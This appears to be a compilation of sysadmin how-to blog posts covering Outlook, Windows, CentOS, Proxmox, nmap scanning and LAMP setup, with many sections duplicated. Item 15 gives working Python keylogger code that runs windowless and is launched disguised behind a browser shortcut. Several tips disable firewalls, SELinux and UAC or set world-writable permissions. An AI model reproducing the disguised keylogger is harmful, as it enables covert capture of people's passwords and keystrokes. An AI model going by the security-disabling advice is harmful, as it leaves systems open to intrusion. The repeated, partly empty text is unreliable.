1. How to make a new e-mail profile from outlook
Step 1 Open your
control panel->open mail, then click add and give your profile name
Step 2 next give your
details like username and password then give next it will be automatically
configured your mail to outlook.
Step3 the test mail
will be received from outlook
Step 4 then give
finish.
Step 5 after you can
see mail option like
Here click properties
->datafiles->settings->change password like
Here you can give new
outlook password for particular mail id.
Click ok.
Step 6 now go for
Microsoft outlook it will ask for profile name , you need to select you profile
next give your outlook password. Finally you have to see you mail from outlook
along with test mail.
If you want to
download your inbox then go
tools->
send/receive ->send/receive all
in case it doesn’t
work, then you have to go you mail setting (like gmail)->forwarding and
POP/IMAP->POP download -> enable POP for all mail(even mail that’s
already been downloaded).
2. How to change
guest account picture in Windows 8 PC
Step 1 open your
computer local disk c -> click view in menu bar and select the hidden file
box like
Step 2 open program
data->Microsoft->user account pictures. Here you can see the guest
profile pictures.
Step 3 next you can
replace your selected pictures under the name of guest.bmp and guest.png then
close the files.
Step 4 finally your
guest account picture was changed..
3. How to set guest account password in Windows 8 PC
Step 1 click start
type command prompt then left click the command prompt and choose run as
administrator.
Step 2 from the DOS
window you want to type the following
Net
user guest *
You
may press the enter key then
Type
a password for the user: here you may type your password
Retype
the password to confirm: re enter the password
The
command completed successfully.

Now your guest
account password has been set.
In feature you want
to remove your password you have to follow the same command and press the enter
key two times.
4. How to config
VSFTPD in CentOS
Step 1. Open your
terminal
Step 2. Need to change admin mode
$ su -
Password:
("give your admin password")
Step 3. Want to install VSFTP before make sure if any previous
install was made in that machine
# rpm -q vsftpd
if no previous
vsftpd then
# yum -y install
vsftpd
if completed

# vim
/etc/vsftpd/vsftpd.conf
you want to do two
more action here. un-command these two line, press i to modify.
anonymous_enable=No
chroot_local_user=Yes


press Esc, then
:wq!
Step 4. Now you want create a specify user to access ftp file.
#useradd ftpuser
#passwd ftpuser
password: ("give
your ftpuser password at twice")

Step 5. Put the folder on your user account
go to computer, file
system,home, ftpuser
if you want to change
folder permission like
#chmod -R 777
/home/ftpuser

now you may paste
specify folder inside your user folder
If you want to change your default directory then you have add one
more line from end of the vsftpd.conf file
Local_root=/var/www/html

Step 6. Next start the vsftpd service like
#service vsftpd start
for permanent start like
#chkconfig vsftpd on

Go to your explore or browser type ftp://serverip
Give appropriate credentials then you will get your files

If you add local root directory then

Step 7. If you want to delete ftp user like
#userdel ftpuser
delete the ftpuser files
#rm -rf /home/ftpuser
Create directory and texfile command
#mkdir /home/ftpuser/ftpfile
#touch /home/ftpuser/test
Want to remove VSFTPD
#yum remove vsftpd
Note : if it doesn’t work then disable your firewall
#service iptables stop
5. How to create iSCSI target in openfiler
Make your openfiler
with two more hard disks
disk 0 only for openfiler installation. remaining disk's will used for storage purpose
go to system and share the network first like below
1. goto volumes->create new physical volume
2. select the disk which you have create volume.
3. select mode as -> primary , partition type ->physical volume -> then create full disk
4. go to add volume of right side and give volume group name and add group volume
then you see
5. go to add volume in right side and select volume group and give the name and size of volume and press create like
6. then go to services and start iscsi target like
7. go to iscsi target in right side panel press add the target iqn
8. next map the LUN like
9. finally allow the network ACL
10. finally you got the iscsi target.
disk 0 only for openfiler installation. remaining disk's will used for storage purpose
go to system and share the network first like below
1. goto volumes->create new physical volume
2. select the disk which you have create volume.
3. select mode as -> primary , partition type ->physical volume -> then create full disk
4. go to add volume of right side and give volume group name and add group volume
then you see
5. go to add volume in right side and select volume group and give the name and size of volume and press create like
6. then go to services and start iscsi target like
7. go to iscsi target in right side panel press add the target iqn
8. next map the LUN like
9. finally allow the network ACL
10. finally you got the iscsi target.
6. No Sharing and security tab on Server 2003
Start->Run->services.msc
then find server
server -> you have
to start the service ->ok
then press
ctrl+shift+esc -> task manager
from processes tap
select explore.exe - >end process
then file->new
task-> explorer.exe->ok
now you can get the
sharing and security tab.
7. How to move files from one folder to another folder using
Windows PowerShell
1. Write your coding on notepad and
save as sample.ps1
for (;;)
{
start-sleep -s 30
move-item D:\Powershell\source\*.mp3 D:\Powershell\destination
move-item D:\Powershell\source\*.mp4 D:\Powershell\destination
}
2. Open Windows PowerShell
3. Check your execution policy like
for (;;)
{
start-sleep -s 30
move-item D:\Powershell\source\*.mp3 D:\Powershell\destination
move-item D:\Powershell\source\*.mp4 D:\Powershell\destination
}
2. Open Windows PowerShell
3. Check your execution policy like
if it Remotesigned.
4. execution like > d:\Powershell\sample.ps1
4. execution like > d:\Powershell\sample.ps1
8. How to use nmap in centos
1. Make sure if you have nmap in your
system. perhaps check your nmap version
#nmap --version
yet no nmap available to your system. you need to install
#yum install nmap
#nmap localhost
#nmap --version
yet no nmap available to your system. you need to install
#yum install nmap
#nmap localhost
-v giving more detailed information about the open ports
-A enables OS detection and version
#namp -A localhost
-p denotes port range
#nmap -p 10-15
localhost
Network scan
#nmap -sP 192.168.1.10-100
Scanning the Network for live host -v is increase the verbosity of the ping
#nmap -sP 192.168.1.10-100 -v
TCP scanning
root@kaliboobal:~# nmap -sT 192.168.1.90
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-28 09:46 IST
Nmap scan report for 192.168.1.90
Host is up (0.0016s latency).
Not shown: 985 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
912/tcp open apex-mesh
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
MAC Address: 08:2E:5F:1E:EC:F7 (Hewlett Packard)
Nmap done: 1 IP address (1 host up) scanned in 2.03 seconds
#nmap -sP 192.168.1.10-100
Scanning the Network for live host -v is increase the verbosity of the ping
#nmap -sP 192.168.1.10-100 -v
TCP scanning
root@kaliboobal:~# nmap -sT 192.168.1.90
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-28 09:46 IST
Nmap scan report for 192.168.1.90
Host is up (0.0016s latency).
Not shown: 985 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
912/tcp open apex-mesh
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
MAC Address: 08:2E:5F:1E:EC:F7 (Hewlett Packard)
Nmap done: 1 IP address (1 host up) scanned in 2.03 seconds
SYN stealth scan
# nmap -sS
192.168.1.90
Filtered scan
root@kaliboobal:~#
nmap -sF 192.168.1.90
Starting Nmap
6.49BETA4 ( https://nmap.org ) at 2015-11-28 09:52 IST
Nmap scan report for
192.168.1.90
Host is up (0.00017s
latency).
All 1000 scanned
ports on 192.168.1.90 are closed
MAC Address:
08:2E:5F:1E:EC:F7 (Hewlett Packard)
9. Automatic DNS Flush when internet getting down.
1. Make sure you had the java package like "jdk1.7.0_51"
2. You should copy "boobal2.java and
boobal2.class" this file and paste on "c:\progra
files\java\jdk1.7.0_51\bin" this location
3. Next you should
copy "dns.bat,mybatch.bat,errorfolder and testfolder" this file and
paste on "d:\"
4. After you must
have understand about errorfolder and testfolder
4.1 "testfolder" has been keep
log file had every event performed in the app
4.2 if any error log occurs in this folder
the particular log will shifted to "errorfolder"
5. Finally you can copy
boobal2.bat and paste to desktop. simply double click to run the program.
6. Thank you.
1.boobal2.java
import java.io.File;
import
java.io.FileInputStream;
import
java.io.FileOutputStream;
import
java.io.IOException;
import
java.io.InputStream;
import
java.io.OutputStream;
import java.io.*;
import java.util.*;
import
java.io.IOException;
public class boobal2
{
public static void
main(String[] args)throws IOException
{
System.out.println(" this is for test
3");
int b=0;
File errorfile=null;
String
na=null,ne;
while(b==0)
{
File folder = new
File("D:/testfolder");
File[] listOfFiles = folder.listFiles();
for (int i = 0; i <
listOfFiles.length; i++)
{
File file = listOfFiles[i];
//ne=file.getName();
//if(ne!=na)
//System.out.println("file
name"+file);
//System.out.println("files
"+i);
if (file.isFile() &&
file.getName().endsWith(".txt"))
{
//String content =
FileUtils.readFileToString(file);
/* do somthing with content */
//System.out.println("inside if "+file);
FileReader fr = new
FileReader(file);
BufferedReader br = new
BufferedReader(fr);
String line;
//System.out.println("
error file "+errorfile);
ne=file.getName();
//System.out.println(" ne
file name "+ne);
System.out.println(" ERROR
IN CONNECTION "+na);
// if(ne!=na)
// { //for check
while((line =
br.readLine()) != null)
{
if(line.contains("error"))
{
System.out.println(line);
Runtime.getRuntime().exec("cmd /C start D:/dns.bat");
System.out.println(" ERROR OCCURED FROM YOUR CONNECTION ");
//String
errorfile=file;
errorfile=file;
//System.out.println(" error occured file path " +errorfile);
na=file.getName();
//System.out.println(" file name na "+na);
//if(file.renameTo(new
File("D:/errorfolder"+file.getName())))
// {
System.out.println("file moved successful");}
// else
//
{System.out.println("file is failed to move");}
File bfile = new
File("D:/errorfolder/"+file.getName());
InputStream
inStream=new FileInputStream(file);
OutputStream
outStream=new FileOutputStream(bfile);
byte[] buffer = new
byte[1024];
int length;
//copy the file
content in bytes
while ((length =
inStream.read(buffer)) > 0){
outStream.write(buffer, 0, length);}
inStream.close();
outStream.close();
outStream.flush();
//file.setWritable(true);
//file.exists();
//System.gc();
//file.delete();
//String
rep="clear";
//line=line.replace(rep,"");
//System.out.println(rep);
//FileUtil util =
new FileUtil();
//util.removeLineFromFile(file, "error");
//File mybat=new
File("D:/mybatch.txt");
//FileOutputStream
fos=new FileOutputStream(mybat);
//DataOutputStream
dos=new DataOutputStream(fos);
//dos.writeBytes("cd \n");
dos.flush();
//dos.writeBytes("\n");
//dos.writeBytes("del\r "+file.getName());
RandomAccessFile
mybat1 = new RandomAccessFile("D:/mybatch.bat","rw");
String
originalString = "cd..\ncd..\nd:\ncd testfolder \ndel
"+file.getName();
String
updatedString = originalString.replace("\n","\r\n");
mybat1.writeBytes(updatedString);
//Runtime.getRuntime().exec("cmd /C start D:/dns.bat");
Runtime.getRuntime().exec("cmd /C start D:/mybatch.bat");
//Runtime.getRuntime().exec("cmd
/C start C:/Program Files/Java/jdk1.7.0_51/bin/batch/dns.bat");
Runtime.getRuntime().exec("cmd /C start
C:/Users/Boobalan/Desktop/boobal2.bat");
//Runtime.getRuntime().exec("cmd /C start D:/boobal2.bat");
b=b+1;
}
}
// }//for check
//else
//
{System.out.println("conditon worked");}
br.close();
fr.close();
}
}
//b=b+1;
}
}
}
2.dns.bat
ipconfig /flushdns
3.mybatch.bat
cd..cd..
d:
cd testfolder
del log13.txt
4.boobal2.bat
@echo off:: BatchGotAdmin (Run as Admin code starts)
REM --> Check for permissions
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
echo Requesting administrative privileges...
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
:: BatchGotAdmin (Run as Admin code ends)
:: Your codes should start from the following line
set JAVA_HOME=C:\Program Files\Java\jdk1.7.0_51
set PATH=C:\Windows;C:\Windows\System32;C:\Program Files\Java\jdk1.7.0_51\bin
set CLASSPATH=
cd C:\Program Files\Java\jdk1.7.0_51\bin
javac boobal2.java
java boobal2
you can download entire package here https://drive.google.com/open?id=0B2wieRUQ4YjrNm9RcEI5N3BuZTQ&authuser=0
10. phpBB BoardError " Fatal: ./cache/ is NOT writable
"
You need change the
permission for cache folder on your board directory
# chmod -R 777 /var/www/html/board/cache
after simply refresh the board then error will gone.
# chmod -R 777 /var/www/html/board/cache
after simply refresh the board then error will gone.
11. How
to enable fullscreen mode in VMware with Kali
1. After Install
kali2.0 in VMware
2. In top of the VMware tool menu click vm->install vmware tool
but before you should make update your kali
#apt-get update
3. From kali desktop you can see vmware toll disk icon.
open the disk icon and copy the folder of vmware tool.xxxx.tar.gz. then paste the file from another location.
4. Go to that particular location and extract the file using following command.
# tar -xf vmware tool.xxx.tar.gz
5. Open the extracted folder and install the file "vmware-install.pl" like
# perl vmware-install.pl
6. Then press enter continue-sly until finish the installation.
7. After successful install, you must to reboot the system.
5. Finally you can get full screen mode.
2. In top of the VMware tool menu click vm->install vmware tool
but before you should make update your kali
#apt-get update
3. From kali desktop you can see vmware toll disk icon.
open the disk icon and copy the folder of vmware tool.xxxx.tar.gz. then paste the file from another location.
4. Go to that particular location and extract the file using following command.
# tar -xf vmware tool.xxx.tar.gz
5. Open the extracted folder and install the file "vmware-install.pl" like
# perl vmware-install.pl
6. Then press enter continue-sly until finish the installation.
7. After successful install, you must to reboot the system.
5. Finally you can get full screen mode.
12. How
to enable usb in proxmox vm
#lsusb
qm> info usbhost
find the USB ports and vendor id and product id
# qm set 100 -usb0 host=8564:1000
Refer follow screenshot
qm> info usbhost
find the USB ports and vendor id and product id
# qm set 100 -usb0 host=8564:1000
Refer follow screenshot
after reboot the USB
will work at particular vm
13. How to Add user permission in Proxmox
Create a user
# useradd user100
# passwd user100
password
give your password
twice
Go to GUI in root
mode.
Datacenter ->
users -> Add ->
type user100 and press Add button
Select particular VM
you want to set permission
go to Permission
-> Add User Permission
user - user100
set your privilege
like PVE Auditor or Administrator etc...
then press Add button
now check logout and
login as well.
14. How to Make Schedule Shutdown in Proxmox
First we can configure virtual machines
and containers to start up and shutdown with the host.
Select The Vm -> go to option tab
enable the -> start up boot to yes
next configure the start/shutdown order
Start order = 1or any (order to start)
Start up delay = 60 (sec interval between two node start)
Shutdwon timeout = 60 (sec interval between two node shutdown)
Second We go to crontab for schedule task execution command.
Select The Vm -> go to option tab
enable the -> start up boot to yes
next configure the start/shutdown order
Start order = 1or any (order to start)
Start up delay = 60 (sec interval between two node start)
Shutdwon timeout = 60 (sec interval between two node shutdown)
Second We go to crontab for schedule task execution command.
It consists of five parts
1.
minute
2.
hour
3.
day of month
4.
month
5.
day of week
Here is an illustration
# crontab -l -> to list out the crontab schedule
# crontab -e -> to create a new crontab schedule
# crontab -r -> to remove all crontab schedule
# m h dom mon dow command
11 16 * * * /sbin/shutdown -h now
It should shutdown your machine at every day 4:11 PM
15. How to make key logger using python script
1. make sure you have
python if any version, here i have used python 2.7, you can get this on https://www.python.org/download/releases/2.7/
2. after success full installation, you have to download two more supporting packages
pyhook
pywin32
both two have any bit(32 and 64) as well version depending on your python
these two whl file you can get http://www.lfd.uci.edu/~gohlke/pythonlibs/
3. now you want to install these packages like
open command prompt and open the appropriate directory have the files then
>pip install filename.whl
in this step you have found any error make sure you have pip is successfully installed or not.
the check
>pip
if no version and help will display down. you didn't have pip. you might install pip
4. you have to download get-pip.py file from https://pip.pypa.io/en/stable/installing/
just double click the file it will install. after check >pip now you can see the pip version etc..
and make install .whl files you want above.
5. now follow the code
import pyHook, pythoncom, sys, logging
file_log = 'D:\\important\\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
and save the file as filename.pyw
6. now open command prompt to appropriate location and execute like
python filename.pyw
here if you face any errors. make sure your environment variables path.
like ;c:\python27;c:\python27\scripts
if no error found the script was executed successfully. next what ever you typed in your keyboard it will be stored in log.txt file which can be located in d:\important
note: one more error facing any dll like pywintypes27 .dll missing
you can copy these files
pythoncom27.dll, pythoncomloader27.dll, pywintypes27.dll
from "C:\Python27\Lib\site-packages\pywin32_system32" to "C:\Python27"
after that you can face null errors.
note: you can make execute this file from batch and shortcut as ie or chrome etc...
@echo off
start "" "path\filename.pyw"
start chrome.exe
save a file with .bat extension
2. after success full installation, you have to download two more supporting packages
pyhook
pywin32
both two have any bit(32 and 64) as well version depending on your python
these two whl file you can get http://www.lfd.uci.edu/~gohlke/pythonlibs/
3. now you want to install these packages like
open command prompt and open the appropriate directory have the files then
>pip install filename.whl
in this step you have found any error make sure you have pip is successfully installed or not.
the check
>pip
if no version and help will display down. you didn't have pip. you might install pip
4. you have to download get-pip.py file from https://pip.pypa.io/en/stable/installing/
just double click the file it will install. after check >pip now you can see the pip version etc..
and make install .whl files you want above.
5. now follow the code
import pyHook, pythoncom, sys, logging
file_log = 'D:\\important\\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
and save the file as filename.pyw
6. now open command prompt to appropriate location and execute like
python filename.pyw
here if you face any errors. make sure your environment variables path.
like ;c:\python27;c:\python27\scripts
if no error found the script was executed successfully. next what ever you typed in your keyboard it will be stored in log.txt file which can be located in d:\important
note: one more error facing any dll like pywintypes27 .dll missing
you can copy these files
pythoncom27.dll, pythoncomloader27.dll, pywintypes27.dll
from "C:\Python27\Lib\site-packages\pywin32_system32" to "C:\Python27"
after that you can face null errors.
note: you can make execute this file from batch and shortcut as ie or chrome etc...
@echo off
start "" "path\filename.pyw"
start chrome.exe
save a file with .bat extension
16. How
to change Send Mail from gmail
1. Go to gmail -
Setting - Accounts and Import
2. go to send mail as - add another email address yow own
3. name - your name
email address – yournewname@any.com
4. click - next
5. smtp server - change smtp.gmail.com
username - xxx@gmail.com (original mail id)
password - xxxxx
6. click next
7. then go to mail and copy the code and paste over there and finish the task.
8. now go and check mail
2. go to send mail as - add another email address yow own
3. name - your name
email address – yournewname@any.com
4. click - next
5. smtp server - change smtp.gmail.com
username - xxx@gmail.com (original mail id)
password - xxxxx
6. click next
7. then go to mail and copy the code and paste over there and finish the task.
8. now go and check mail
17. How to video streaming with Icecast
1.We need vlc and
icecast server. every one might have vlc so you can get icecast from http://icecast.org/download/
2. Install vlc and icecast
3. Find icecast.xml file from your c:/program files/icecast/
4. Edit that file like
change
<location>your which</location>
<admin>your wish</admin>
<hostname> yourlocal ip or static ip</hostname>
then fined <mound>example.ogg</mount> and change your wish
and save that file.
5. Star icecast.bat file from c:/program files/icecast/
6. Go to browser and type you've mentioned IP like 127.0.0.1:8000 and you can use the credential like user name admin password hackme
7. Open vlc and press ctrl+s add your video files then press stream from down side then press next now change the new destination = file to icecast then press add
then fill the followed details
address localip
port 8000
mount point example.ogg (you were changed early)
login:pass source:hackme
and change the profile video-theora + vorbis(ogg)
then press the stream
8. Go and refresh your icecast browser then you can see new mount point
after just copy the listenurl and past with new tab from there you can see your videos..
2. Install vlc and icecast
3. Find icecast.xml file from your c:/program files/icecast/
4. Edit that file like
change
<location>your which</location>
<admin>your wish</admin>
<hostname> yourlocal ip or static ip</hostname>
then fined <mound>example.ogg</mount> and change your wish
and save that file.
5. Star icecast.bat file from c:/program files/icecast/
6. Go to browser and type you've mentioned IP like 127.0.0.1:8000 and you can use the credential like user name admin password hackme
7. Open vlc and press ctrl+s add your video files then press stream from down side then press next now change the new destination = file to icecast then press add
then fill the followed details
address localip
port 8000
mount point example.ogg (you were changed early)
login:pass source:hackme
and change the profile video-theora + vorbis(ogg)
then press the stream
8. Go and refresh your icecast browser then you can see new mount point
after just copy the listenurl and past with new tab from there you can see your videos..
18. Error: File /var/cache/yum/i386/6/epel/metalink.xml does
not exist in CentOS
If you are using
CentOS 6 or 6.5
#yum remove epel-release --disablerepo=epel\*
check /etc/yum.repos.d to see there aren't any epel repo files in there at this point
#yum remove epel-release --disablerepo=epel\*
check /etc/yum.repos.d to see there aren't any epel repo files in there at this point
Next we install fresh
epel-release, After that error will not come.
#yum install epel-release
#yum install epel-release
19. How do I open administrator command prompt without
asking user account control permission
Following script will
do open your administrator command prompt
open notepad - paste following command
@echo off
:: BatchGotAdmin (Run as Admin code starts)
REM --> Check for permissions
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
echo Requesting administrative privileges...
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
:: BatchGotAdmin (Run as Admin code ends)
:: Your codes should start from the following line
save filename.bat
It will ask User account control permission when you double click on that .bat file.
To avoid that UAC
start-change user account control setting-change the notify option as Never notify-click yes (or)
control panel- user account-user account control permission -change the notify option as Never notify-click yes
after that your PC never ask any UAC permissions
open notepad - paste following command
@echo off
:: BatchGotAdmin (Run as Admin code starts)
REM --> Check for permissions
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
echo Requesting administrative privileges...
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
:: BatchGotAdmin (Run as Admin code ends)
:: Your codes should start from the following line
save filename.bat
It will ask User account control permission when you double click on that .bat file.
To avoid that UAC
start-change user account control setting-change the notify option as Never notify-click yes (or)
control panel- user account-user account control permission -change the notify option as Never notify-click yes
after that your PC never ask any UAC permissions
20. the specified service does not exist as an installed service. unable to
open the service 'tomcat6'
Hi, you have to set
environment variable
First you have
to set jave_home and jre_home
run-sysdm.cpl-advanced-environment
variable-system variables-new
JAVA_HOME=C:\Program
files\java\jdk1.6.0
JRE_Home=c:\program
files\java\jre1.6.0
ok
CATALINA_HOME=c:\apache-tomcat-6.0.45
then edit your
path and add JAVA_HOME & CATALINA_HOME
now go and
execute your tomcat - C:-Apache-tomcat-6.0.45-bin-double click - startup
and you can see
http://localhost:8080
that's all.
21. How to install Network Printer in Windows -XP
Go to control panel -
add a printer - next
select - local
printer attached to this computer - next - next - select create a new
port
and type should -
Standard TCP/IPPort
click - next - next -
give printer IP address - next - select the printer type here if you have
n't shown your printer type (give printer name), you need to specify your
printer drivers or disc then give next finally click finish.
22. Install Apache, Mysql, PHP in centos
#yum update
Apache
#yum install httpd
#service httpd start
#chkconfig httpd on
check your localhost in browser and local network, if it not showing apache then
#iptables -F
Mysql
# yum install mysql-server
Apache
#yum install httpd
#service httpd start
#chkconfig httpd on
check your localhost in browser and local network, if it not showing apache then
#iptables -F
Mysql
# yum install mysql-server
# service mysqld
start
# chkconfig mysqld on
# mysqladmin -u root
password '*****'
mysql -u root
-p
Enter password:
mysql>
Php
# yum install php php-mysql
# php -v
PHP 5.3.3 (cli) (built: Aug 11 2016 20:33:53)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
# yum install php php-mysql
# php -v
PHP 5.3.3 (cli) (built: Aug 11 2016 20:33:53)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
now test your php
# vi
/var/www/html/phpinfo.php
<?php
phpinfo();
?>
:wq!
ip/phpinfo.php
here you can see php
info.
23. Unable to connect Apache in local network from CentOS
First Check
#netstat
# netstat -an | grep :80
tcp 0 0 192.168.1.6:49280 184.26.162.167:80 ESTABLISHED
tcp 0 0 :::80 :::* LISTEN
#netstat
# netstat -an | grep :80
tcp 0 0 192.168.1.6:49280 184.26.162.167:80 ESTABLISHED
tcp 0 0 :::80 :::* LISTEN
If you doesn't see port ::80 listen means that may be a firewall issue. CentOS iptables doesn't allow HTTP access by default so check your iptables
#cat /etc/sysconfig/iptables
are you can disable your firewall
#iptables -F
or
#service iptables stop
#checkconfig iptables off
24. 'ssl://smtp.gmail.com': (13) Permission denied in centos
In this case you have
to check SELINUX on your system whether active or not.
If it enabled, just disabled
# vi /etc/selinux/config
SELINUX=enforcing (as)
SELINUX=disabled
If it enabled, just disabled
# vi /etc/selinux/config
SELINUX=enforcing (as)
SELINUX=disabled
:wq!
#reboot
or
/usr/sbin/setsebool httpd_can_network_connect=1
reboot
25. error 1153 (08s01) got a packet bigger than
'max_allowed_packet'
It will be happen while
import mysql database
you could specify max_allowed_packet if you your db has big
#mysql --max_allowed_packet=100m -u root -p database < dump.sql
or change my.cnf /my.ini file under mysqld section
max_allowed_packet=100M
or you could run following command in mysql console
mysql>set global net_buffer_length=1000000;
mysql>set global max_allowed_packet=1000000000;
now you get rid of that error
you could specify max_allowed_packet if you your db has big
#mysql --max_allowed_packet=100m -u root -p database < dump.sql
or change my.cnf /my.ini file under mysqld section
max_allowed_packet=100M
or you could run following command in mysql console
mysql>set global net_buffer_length=1000000;
mysql>set global max_allowed_packet=1000000000;
now you get rid of that error
26. 404 Page not found error in CentOS
Generally It will be
an mod_rewrite issue. you could make sure following events
Config Apache mod_rewrite modules
1. open apache configuration location
#cd /etc/httpd/conf/httpd.conf
2. change "AllowOverride None" to AllowOverride All inside the the document root directory
that is
<Directory "/var/www/html">
Permanently redirect users to access the site with or without the www. prefix
1. create or open a .htaccess file the document root folder and add the following text replacing variables with appropriate values were necessary.
#vi /var/www/html/.htaccess
#mod_rewrite
<IfModule mod_rewrite.c>
#enable mod_rewrite engine
RewriteEngine on
#following are not necessary
#with www
RewriteCond %{HTTP_HOST}^$uri\.$tld$ [NC]
RewriteRule ^(.*)$ http://www(link is external).$domain$1 [L,R=301]
# WITOUT 'www.'
RewriteCond %{HTTP_HOST} ^www\.$uri\.$tld$ [NC]
RewriteRule ^(.*)$ http://$domain/$1 [L,R=301]
</IfModule>
save that file
#service httpd restart
you will rid of 404 page not found error
Config Apache mod_rewrite modules
1. open apache configuration location
#cd /etc/httpd/conf/httpd.conf
2. change "AllowOverride None" to AllowOverride All inside the the document root directory
that is
<Directory "/var/www/html">
Permanently redirect users to access the site with or without the www. prefix
1. create or open a .htaccess file the document root folder and add the following text replacing variables with appropriate values were necessary.
#vi /var/www/html/.htaccess
#mod_rewrite
<IfModule mod_rewrite.c>
#enable mod_rewrite engine
RewriteEngine on
#following are not necessary
#with www
RewriteCond %{HTTP_HOST}^$uri\.$tld$ [NC]
RewriteRule ^(.*)$ http://www(link is external).$domain$1 [L,R=301]
# WITOUT 'www.'
RewriteCond %{HTTP_HOST} ^www\.$uri\.$tld$ [NC]
RewriteRule ^(.*)$ http://$domain/$1 [L,R=301]
</IfModule>
save that file
#service httpd restart
you will rid of 404 page not found error
27. Update PHP 5.3 to 5.4 in centos
Remove your existing
php
#rpm -qa | grep php
//here there shows your old versions like
php_53x86
#yum remove php_53x86
//remove your config files too
#rm -rf /etc/httpd/conf.d/php.conf
#rm -rf /etc/php.ini
Next install SCL Repository for 5.4 packages
#yum install centos-release-SCL
Then Install PHP 5.4
#yum install php54 php54-php php54-php-gd php54-php-mbstring
Next you must install the updated database module
#rpm -qa | grep php
//here there shows your old versions like
php_53x86
#yum remove php_53x86
//remove your config files too
#rm -rf /etc/httpd/conf.d/php.conf
#rm -rf /etc/php.ini
Next install SCL Repository for 5.4 packages
#yum install centos-release-SCL
Then Install PHP 5.4
#yum install php54 php54-php php54-php-gd php54-php-mbstring
Next you must install the updated database module
#yum install php54-php-mysqlnd
# yum install php54-php-ldap
# yum install php54-php-imap
# yum install php54-php-ldap
# yum install php54-php-imap
#
yum install php54-php-snmp
# yum install php54-php-common
# yum install php54-php-common
Now disable loading
the old php 5.3
#mv /etc/httpd/conf.d/php.conf /etc/httpd/conf.d/php53.off
Finally restart apache
#service httpd
restart
find your php.ini file
# find / -name php.ini
if you have any time zone issue then you need to edit date.timezone from php.ini
[Date]
; Defines the default timezone used by the date functions
; http://php.net/date.timezone
;date.timezone =
change to
date.timezone = "Asia/Kolkata"
find your php.ini file
# find / -name php.ini
if you have any time zone issue then you need to edit date.timezone from php.ini
[Date]
; Defines the default timezone used by the date functions
; http://php.net/date.timezone
;date.timezone =
change to
date.timezone = "Asia/Kolkata"
that's all
28. Fusioninventory agent installation for CentOS and Ubuntu
29. MYSQL Database backup and restore in CentOS
Backup
# mysqldump -u root -p dbname > /var/www/html/dbbackup/dbname.sql
Restore
#mysql -u root -p
password:
mysql>create database dbname;
mysql>GRANT ALL ON dbname.* TO dbusername@localhost IDENTIFIED BY 'dbpassword';
mysql>flush privileges;
# mysqldump -u root -p dbname > /var/www/html/dbbackup/dbname.sql
Restore
#mysql -u root -p
password:
mysql>create database dbname;
mysql>GRANT ALL ON dbname.* TO dbusername@localhost IDENTIFIED BY 'dbpassword';
mysql>flush privileges;
mysql>quit
#
mysql -u root -p dbname < /var/www/html/dbbackup/dbname.sql
password:
password:
30. How to change host name in CentOS
# cat /etc/hosts
127.0.0.1 localhost.localdomain localhost
::1 localhost6.localdomain6 localhost6
# cat /etc/sysconfig/network
NETWORKING=yes
NETWORKING_IPV6=no
HOSTNAME=localhost
NTPSERVERARGS=iburst
127.0.0.1 localhost.localdomain localhost
::1 localhost6.localdomain6 localhost6
# cat /etc/sysconfig/network
NETWORKING=yes
NETWORKING_IPV6=no
HOSTNAME=localhost
NTPSERVERARGS=iburst
